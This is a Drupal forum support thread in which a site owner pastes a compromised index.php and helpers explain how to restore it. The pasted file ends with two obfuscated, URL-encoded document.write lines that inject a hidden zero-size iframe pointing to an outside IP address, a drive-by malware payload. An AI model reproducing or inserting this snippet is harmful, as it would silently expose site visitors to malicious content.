I am unable to get into my website. www.janettedengo.com
I get this error and I don't know what it means:
Parse error: syntax error, unexpected '<' in /home/janetted/public_html/index.php on line 38

If anyone knows what steps I should take please let me know.... I'll be back to check later....

Thanks,
Janette

Comments

nevets’s picture

It sounds like you do not have PHP installed on your server or you index.php file has been edited/changed. In the later case it would help if you posted the complete index.php here (make sure to put the code between <code> and </code> tags)

xogoddess’s picture

DO you mean go to the cpanel and grab the entire index.php so you can have a look? IF that's the case here it is. I'm not super great at all of this, however I think I know what you need.

<?php
// $Id: index.php,v 1.91 2006/12/12 09:32:18 unconed Exp $

/**
* @file
* The PHP page that serves all page requests on a Drupal installation.
*
* The routines here dispatch control to the appropriate handler, which then
* prints the appropriate page.
*/

require_once './includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);

$return = menu_execute_active_handler();

// Menu status constants are integers; page content is a string.
if (is_int($return)) {
switch ($return) {
case MENU_NOT_FOUND:
drupal_not_found();
break;
case MENU_ACCESS_DENIED:
drupal_access_denied();
break;
case MENU_SITE_OFFLINE:
drupal_site_offline();
break;
}
}
elseif (isset($return)) {
// Print any value (including an empty string) except NULL or undefined:
print theme('page', $return);

}

drupal_page_footer();

document.write( unescape( '%3C%73%63%72%69%70%74%3E%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%20%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%35%38%2E%36%35%2E%32%33%36%2E%38%39%2F%69%6E%33%2F%69%6E%64%65%78%2E%70%68%70%22%20%77%69%64%74%68%3D%22%30%22%20%68%65%69%67%68%74%3D%22%30%22%20%62%6F%72%64%65%72%3D%22%30%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B%0A%3C%2F%73%63%72%69%70%74%3E' ) );document.write( unescape( '%3C%73%63%72%69%70%74%3E%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%20%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%35%38%2E%36%35%2E%32%33%36%2E%38%39%2F%69%6E%33%2F%69%6E%64%65%78%2E%70%68%70%22%20%77%69%64%74%68%3D%22%30%22%20%68%65%69%67%68%74%3D%22%30%22%20%62%6F%72%64%65%72%3D%22%30%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B%0A%3C%2F%73%63%72%69%70%74%3E' ) );

I hope you can make sense of it cuz. it's all gibrish to me. Thank you again, I appreciate all the help you can give me. ~Janette

Janette Dengo / a.k.a. XOGODDESS
www.janettedengo.com
www.xogoddess.com

zeta ζ’s picture

First thing to do is upload a clean, default copy of index.php to your site from your local copy, or a standard download.

Then, I’m afraid I’ll have to refer you to http://drupal.org/node/229750. You should be able to find help and guidance there.
___________________
It’s in the detaιls…

xogoddess’s picture

I am unable to delte the line38, it seems to be the error in the code and I do not know where to greab a new code from either... I'll go to the link you sent me.. seems others are having simiiliar issue there... you saved me. Thx.

Janette Dengo / a.k.a. XOGODDESS
www.janettedengo.com
www.xogoddess.com

vm’s picture

just get a new index.php file from a new drupal download and overwrite the exisiting index.php (the one you list above) with the new one from the download.

_____________________________________________________________________
My posts & comments are usually dripping with sarcasm.
If you ask nicely I'll give you a towel : )

xogoddess’s picture

This may sound silly but I'm so new at this - like a bare butted baby. I don't even know where to look for the new code. I deleted the line 38, I still have an error... a new code would fix the problem I believe - if I knew where to grab it from... gonna go dig. Thank you "verymisunderstood"...

Janette Dengo / a.k.a. XOGODDESS
www.janettedengo.com
www.xogoddess.com

vm’s picture

goto the download tab at the top of drupal.org

redownload your version of drupal
extract it
take the index.php file from the download
and upload it to the same place the affected index.php is in your installation

_____________________________________________________________________
My posts & comments are usually dripping with sarcasm.
If you ask nicely I'll give you a towel : )

xogoddess’s picture

OK. I downloaded a new version of Drupal I was using 5.1 it's now 6.1. However I am still unable to view my site www.janettedengo.com
The error message is still the same:

Parse error: syntax error, unexpected '<' in /home/janetted/public_html/index.php on line 38

(however there is nothing on the line when I go and check it)

Also, when I go to one of my direct links http://janettedengo.com/node/22
I get this message:

· warning: array_map() [function.array-map]: Argument #2 should be an array in /home/janetted/public_html/modules/system/system.module on line 958.
· warning: array_keys() [function.array-keys]: The first argument should be an array in /home/janetted/public_html/includes/theme.inc on line 1712.
· warning: Invalid argument supplied for foreach() in /home/janetted/public_html/includes/theme.inc on line 1712.

I am unable to make heads and tails of all this... OMG, such a headache. Please help again. Greatly appreciated. Asking for the towel too :) Janette

Janette Dengo / a.k.a. XOGODDESS
www.janettedengo.com
www.xogoddess.com

zeta ζ’s picture

You should be updating to version 5.7, but first you need to remove the offending code, the bit after drupal_page_footer(); which should be the last line.
Line 38 starts with document.write( unescape( .
It would be best to start by downloading Drupal version 5.7. Then, unpack it, and upload index.php to your server.
___________________
It’s in the detaιls…